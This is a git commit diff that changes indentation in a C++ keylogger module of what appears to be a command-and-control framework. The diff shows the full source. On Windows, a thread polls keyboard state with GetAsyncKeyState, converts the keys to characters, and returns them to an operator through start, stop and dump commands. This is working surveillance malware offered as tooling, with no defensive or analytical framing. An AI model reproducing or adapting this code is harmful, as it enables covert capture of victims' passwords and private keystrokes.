Normalize C++ indentation to four spaces

This commit is contained in:
Maxime dcb
2025-10-14 16:05:39 +02:00
parent 46975f58dc
commit 2f6652ddbb
117 changed files with 11326 additions and 11326 deletions
+124 -124
View File
@@ -34,12 +34,12 @@ __attribute__((visibility("default"))) KeyLogger* KeyLoggerConstructor()
KeyLogger::KeyLogger()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
: ModuleCmd("", moduleHash)
#endif
{
m_isThreadLaunched=false;
m_isThreadLaunched=false;
}
KeyLogger::~KeyLogger()
@@ -48,74 +48,74 @@ KeyLogger::~KeyLogger()
std::string KeyLogger::getInfo()
{
std::string info;
std::string info;
#ifdef BUILD_TEAMSERVER
info += "keyLogger:\n";
info += "keyLogger \n";
info += "exemple:\n";
info += "- keyLogger start\n";
info += "- keyLogger stop\n";
info += "- keyLogger dump\n";
info += "keyLogger:\n";
info += "keyLogger \n";
info += "exemple:\n";
info += "- keyLogger start\n";
info += "- keyLogger stop\n";
info += "- keyLogger dump\n";
#endif
return info;
return info;
}
int KeyLogger::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
{
#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS)
if (splitedCmd.size() >= 2 )
{
if(splitedCmd[1]=="start")
{
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_args(splitedCmd[1]);
}
else if(splitedCmd[1]=="stop")
{
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_args(splitedCmd[1]);
}
else if(splitedCmd[1]=="dump")
{
std::string output = "Dump:\n";
output+=m_saveKeyStrock;
c2Message.set_returnvalue(output);
m_saveKeyStrock="";
return -1;
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
if (splitedCmd.size() >= 2 )
{
if(splitedCmd[1]=="start")
{
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_args(splitedCmd[1]);
}
else if(splitedCmd[1]=="stop")
{
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_args(splitedCmd[1]);
}
else if(splitedCmd[1]=="dump")
{
std::string output = "Dump:\n";
output+=m_saveKeyStrock;
c2Message.set_returnvalue(output);
m_saveKeyStrock="";
return -1;
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
#endif
return 0;
return 0;
}
int KeyLogger::recurringExec(C2Message& c2RetMessage)
{
std::string output;
dumpKeys(output);
std::string output;
dumpKeys(output);
c2RetMessage.set_instruction(std::to_string(getHash()));
c2RetMessage.set_data(output);
return 1;
c2RetMessage.set_instruction(std::to_string(getHash()));
c2RetMessage.set_data(output);
return 1;
}
int KeyLogger::followUp(const C2Message &c2RetMessage)
{
m_saveKeyStrock+=c2RetMessage.data();
m_saveKeyStrock+=c2RetMessage.data();
return 0;
return 0;
}
@@ -124,15 +124,15 @@ void KeyLogger::run(void* keyLoggerPtr)
#ifdef __linux__
#elif _WIN32
KeyLogger* data = (KeyLogger*)keyLoggerPtr;
KeyLogger* data = (KeyLogger*)keyLoggerPtr;
while (data->getIsThreadLaunched())
while (data->getIsThreadLaunched())
{
// note looking ofr backspace
// note looking ofr backspace
// for (int i = 0x8; i < 0xFE; i++)
for (int i = 0x8; i < 0xFE; i++)
for (int i = 0x8; i < 0xFE; i++)
{
if (i != VK_LSHIFT
if (i != VK_LSHIFT
&& i != VK_RSHIFT
&& i != VK_SHIFT
&& i != VK_LCONTROL
@@ -142,37 +142,37 @@ void KeyLogger::run(void* keyLoggerPtr)
&& i != VK_RMENU
&& i != VK_MENU)
{
short keyState = GetAsyncKeyState(i);
short keyState = GetAsyncKeyState(i);
if ((keyState & 0x01))
{
HKL keyboardLayout = GetKeyboardLayout(0);
bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);
if ((keyState & 0x01))
{
HKL keyboardLayout = GetKeyboardLayout(0);
bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);
if ((GetKeyState(VK_SHIFT) & 0x1000) != 0
|| (GetKeyState(VK_LSHIFT) & 0x1000) != 0
|| (GetKeyState(VK_RSHIFT) & 0x1000) != 0)
{
lowercase = !lowercase;
}
if ((GetKeyState(VK_SHIFT) & 0x1000) != 0
|| (GetKeyState(VK_LSHIFT) & 0x1000) != 0
|| (GetKeyState(VK_RSHIFT) & 0x1000) != 0)
{
lowercase = !lowercase;
}
UINT key = MapVirtualKeyExA(i, MAPVK_VK_TO_CHAR, keyboardLayout);
if(key!=0)
{
BYTE keystate[256];
GetKeyboardState(keystate);
UINT key = MapVirtualKeyExA(i, MAPVK_VK_TO_CHAR, keyboardLayout);
if(key!=0)
{
BYTE keystate[256];
GetKeyboardState(keystate);
char finalCharPressed;
int nchars = ToAscii( i, key, keystate, (LPWORD)&finalCharPressed, 0);
char finalCharPressed;
int nchars = ToAscii( i, key, keystate, (LPWORD)&finalCharPressed, 0);
data->setKey(finalCharPressed);
}
}
}
data->setKey(finalCharPressed);
}
}
}
}
std::this_thread::sleep_for(std::chrono::milliseconds(5));
std::this_thread::sleep_for(std::chrono::milliseconds(5));
}
#endif
@@ -186,59 +186,59 @@ void KeyLogger::run(void* keyLoggerPtr)
int KeyLogger::process(C2Message &c2Message, C2Message &c2RetMessage)
{
c2RetMessage.set_instruction(c2Message.instruction());
std::string args = c2Message.args();
c2RetMessage.set_instruction(c2Message.instruction());
std::string args = c2Message.args();
if( args == "start")
{
if(m_isThreadLaunched==false)
{
m_isThreadLaunched=true;
if( args == "start")
{
if(m_isThreadLaunched==false)
{
m_isThreadLaunched=true;
#ifdef __linux__
#elif _WIN32
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) KeyLogger::run, this, 0, (LPDWORD)&this->threadID);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) KeyLogger::run, this, 0, (LPDWORD)&this->threadID);
#endif
c2RetMessage.set_returnvalue("launched");
}
else
{
c2RetMessage.set_errorCode(ERROR_ALREADY_LAUNCHED);
}
}
else if( args == "stop")
{
if(m_isThreadLaunched==true)
{
m_isThreadLaunched=false;
c2RetMessage.set_returnvalue("stoped");
}
else
{
c2RetMessage.set_errorCode(ERROR_ALREADY_STOPED);
}
}
else
{
c2RetMessage.set_errorCode(ERROR_UNKNOWN);
}
c2RetMessage.set_returnvalue("launched");
}
else
{
c2RetMessage.set_errorCode(ERROR_ALREADY_LAUNCHED);
}
}
else if( args == "stop")
{
if(m_isThreadLaunched==true)
{
m_isThreadLaunched=false;
c2RetMessage.set_returnvalue("stoped");
}
else
{
c2RetMessage.set_errorCode(ERROR_ALREADY_STOPED);
}
}
else
{
c2RetMessage.set_errorCode(ERROR_UNKNOWN);
}
return 0;
return 0;
}
int KeyLogger::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg)
{
#ifdef BUILD_TEAMSERVER
int errorCode = c2RetMessage.errorCode();
if(errorCode>0)
{
if(errorCode==ERROR_ALREADY_LAUNCHED)
errorMsg = "Failed: Already launched";
else if(errorCode==ERROR_ALREADY_STOPED)
errorMsg = "Failed: Already stoped";
else if(errorCode==ERROR_UNKNOWN)
errorMsg = "Failed: error unknown";
}
int errorCode = c2RetMessage.errorCode();
if(errorCode>0)
{
if(errorCode==ERROR_ALREADY_LAUNCHED)
errorMsg = "Failed: Already launched";
else if(errorCode==ERROR_ALREADY_STOPED)
errorMsg = "Failed: Already stoped";
else if(errorCode==ERROR_UNKNOWN)
errorMsg = "Failed: error unknown";
}
#endif
return 0;
return 0;
}